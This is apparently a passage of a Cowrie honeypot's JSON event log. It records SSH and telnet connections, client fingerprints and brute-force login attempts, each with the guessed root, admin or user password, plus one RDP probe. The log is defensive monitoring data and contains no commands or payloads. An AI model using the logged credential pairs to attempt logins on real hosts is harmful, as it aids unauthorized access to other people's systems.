poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:37:43.553117Z","src_ip":"46.19.67.181","session":"37680c1400c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"chester","message":"login attempt [root/chester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:37:43.911320Z","src_ip":"46.19.67.181","session":"37680c1400c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:37:45.031927Z","src_ip":"46.19.67.181","session":"37680c1400c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":51462,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ec75b77fa50","protocol":"ssh","message":"New connection: 89.108.118.91:51462 (159.203.135.109:22) [session: 3ec75b77fa50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:37:45.239404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:37:45.244105Z","src_ip":"89.108.118.91","session":"3ec75b77fa50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:37:45.395753Z","src_ip":"89.108.118.91","session":"3ec75b77fa50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ifkfubyjd","message":"login attempt [root/ifkfubyjd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:37:45.847668Z","src_ip":"89.108.118.91","session":"3ec75b77fa50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:37:46.998716Z","src_ip":"89.108.118.91","session":"3ec75b77fa50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57874,"dst_ip":"10.17.0.5","dst_port":23,"session":"471b4c547514","protocol":"telnet","message":"New connection: 192.119.13.58:57874 (10.17.0.5:23) [session: 471b4c547514]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:37:58.822682Z"}
{"eventid":"cowrie.session.closed","duration":51.59732174873352,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:38:02.375121Z","src_ip":"192.119.13.58","session":"c347387ae366","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33210,"dst_ip":"10.17.0.5","dst_port":23,"session":"c215ab549fb4","protocol":"telnet","message":"New connection: 192.119.13.58:33210 (10.17.0.5:23) [session: c215ab549fb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:38:14.495447Z"}
{"eventid":"cowrie.session.closed","duration":43.92665219306946,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:38:20.627872Z","src_ip":"192.119.13.58","session":"0d7579d77376","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.06145906448364,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:38:35.884010Z","src_ip":"192.119.13.58","session":"471b4c547514","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.049474477767944,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:38:45.544790Z","src_ip":"192.119.13.58","session":"c215ab549fb4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":11017,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ef2545d77ef","protocol":"ssh","message":"New connection: 2.57.121.112:11017 (10.17.0.5:22) [session: 3ef2545d77ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:39:04.532129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:39:04.538131Z","src_ip":"2.57.121.112","session":"3ef2545d77ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:39:04.652708Z","src_ip":"2.57.121.112","session":"3ef2545d77ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"280883","message":"login attempt [admin/280883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:39:05.153413Z","src_ip":"2.57.121.112","session":"3ef2545d77ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"2808","message":"login attempt [admin/2808] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:39:06.262556Z","src_ip":"2.57.121.112","session":"3ef2545d77ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"280792","message":"login attempt [admin/280792] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:39:07.371242Z","src_ip":"2.57.121.112","session":"3ef2545d77ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"280787","message":"login attempt [admin/280787] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:39:08.480770Z","src_ip":"2.57.121.112","session":"3ef2545d77ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":42888,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4a4c46026c2","protocol":"ssh","message":"New connection: 147.45.199.80:42888 (159.203.135.109:22) [session: f4a4c46026c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:39:08.922409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:39:08.929634Z","src_ip":"147.45.199.80","session":"f4a4c46026c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:39:09.029308Z","src_ip":"147.45.199.80","session":"f4a4c46026c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123459","message":"login attempt [root/123459] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:39:09.464000Z","src_ip":"147.45.199.80","session":"f4a4c46026c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"28071969","message":"login attempt [admin/28071969] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:39:09.589011Z","src_ip":"2.57.121.112","session":"3ef2545d77ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:39:10.566807Z","src_ip":"147.45.199.80","session":"f4a4c46026c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:39:10.699440Z","src_ip":"2.57.121.112","session":"3ef2545d77ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43702,"dst_ip":"10.17.0.5","dst_port":23,"session":"10dc2a981595","protocol":"telnet","message":"New connection: 192.119.13.58:43702 (10.17.0.5:23) [session: 10dc2a981595]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:39:27.240964Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40382,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e0629175c5d","protocol":"telnet","message":"New connection: 192.119.13.58:40382 (10.17.0.5:23) [session: 2e0629175c5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:39:32.564105Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":51026,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7b8e7ae1782","protocol":"ssh","message":"New connection: 194.113.233.25:51026 (10.17.0.5:22) [session: d7b8e7ae1782]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:39:34.773283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:39:34.790211Z","src_ip":"194.113.233.25","session":"d7b8e7ae1782","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:39:34.919753Z","src_ip":"194.113.233.25","session":"d7b8e7ae1782","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kolobok","message":"login attempt [root/kolobok] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:39:35.411890Z","src_ip":"194.113.233.25","session":"d7b8e7ae1782","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:39:36.521410Z","src_ip":"194.113.233.25","session":"d7b8e7ae1782","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39638,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b4245003fc0","protocol":"telnet","message":"New connection: 192.119.13.58:39638 (10.17.0.5:23) [session: 4b4245003fc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:39:38.553279Z"}
{"eventid":"cowrie.session.closed","duration":0.01229095458984375,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:39:38.565442Z","src_ip":"192.119.13.58","session":"4b4245003fc0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40390,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8788e64b793","protocol":"telnet","message":"New connection: 192.119.13.58:40390 (10.17.0.5:23) [session: e8788e64b793]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:39:38.774591Z"}
{"eventid":"cowrie.session.closed","duration":0.005514860153198242,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:39:38.779996Z","src_ip":"192.119.13.58","session":"e8788e64b793","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57630,"dst_ip":"10.17.0.5","dst_port":23,"session":"97deb9333404","protocol":"telnet","message":"New connection: 192.119.13.58:57630 (10.17.0.5:23) [session: 97deb9333404]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:39:42.014350Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45164,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cf591f55003","protocol":"telnet","message":"New connection: 192.119.13.58:45164 (10.17.0.5:23) [session: 9cf591f55003]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:39:51.474847Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":53932,"dst_ip":"10.17.0.5","dst_port":22,"session":"a285d129178f","protocol":"ssh","message":"New connection: 152.42.212.128:53932 (10.17.0.5:22) [session: a285d129178f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:40:13.419612Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:40:13.426481Z","src_ip":"152.42.212.128","session":"a285d129178f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:40:13.433388Z","src_ip":"152.42.212.128","session":"a285d129178f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45438,"dst_ip":"10.17.0.5","dst_port":23,"session":"11f86d26cb30","protocol":"telnet","message":"New connection: 192.119.13.58:45438 (10.17.0.5:23) [session: 11f86d26cb30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:40:16.358113Z"}
{"eventid":"cowrie.session.closed","duration":49.95278286933899,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:40:17.193598Z","src_ip":"192.119.13.58","session":"10dc2a981595","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.19035816192627,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:40:17.754338Z","src_ip":"192.119.13.58","session":"2e0629175c5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51680,"dst_ip":"10.17.0.5","dst_port":23,"session":"74ce7422079e","protocol":"telnet","message":"New connection: 192.119.13.58:51680 (10.17.0.5:23) [session: 74ce7422079e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:40:24.622383Z"}
{"eventid":"cowrie.session.closed","duration":44.71603441238403,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:40:26.730244Z","src_ip":"192.119.13.58","session":"97deb9333404","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.43831419944763,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:40:26.913037Z","src_ip":"192.119.13.58","session":"9cf591f55003","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46604,"dst_ip":"10.17.0.5","dst_port":23,"session":"a78c1e072518","protocol":"telnet","message":"New connection: 192.119.13.58:46604 (10.17.0.5:23) [session: a78c1e072518]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:40:35.852711Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":13209,"dst_ip":"10.17.0.5","dst_port":22,"session":"3af1bad405c5","protocol":"ssh","message":"New connection: 2.57.121.25:13209 (10.17.0.5:22) [session: 3af1bad405c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:40:36.864470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:40:36.879168Z","src_ip":"2.57.121.25","session":"3af1bad405c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:40:36.989496Z","src_ip":"2.57.121.25","session":"3af1bad405c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"110988","message":"login attempt [user/110988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:40:37.478941Z","src_ip":"2.57.121.25","session":"3af1bad405c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"11091993","message":"login attempt [user/11091993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:40:38.585925Z","src_ip":"2.57.121.25","session":"3af1bad405c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"11091980","message":"login attempt [user/11091980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:40:39.694704Z","src_ip":"2.57.121.25","session":"3af1bad405c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"110880","message":"login attempt [user/110880] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:40:40.817162Z","src_ip":"2.57.121.25","session":"3af1bad405c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"110490","message":"login attempt [user/110490] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:40:41.929623Z","src_ip":"2.57.121.25","session":"3af1bad405c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:40:43.039781Z","src_ip":"2.57.121.25","session":"3af1bad405c5","protocol":"ssh"}
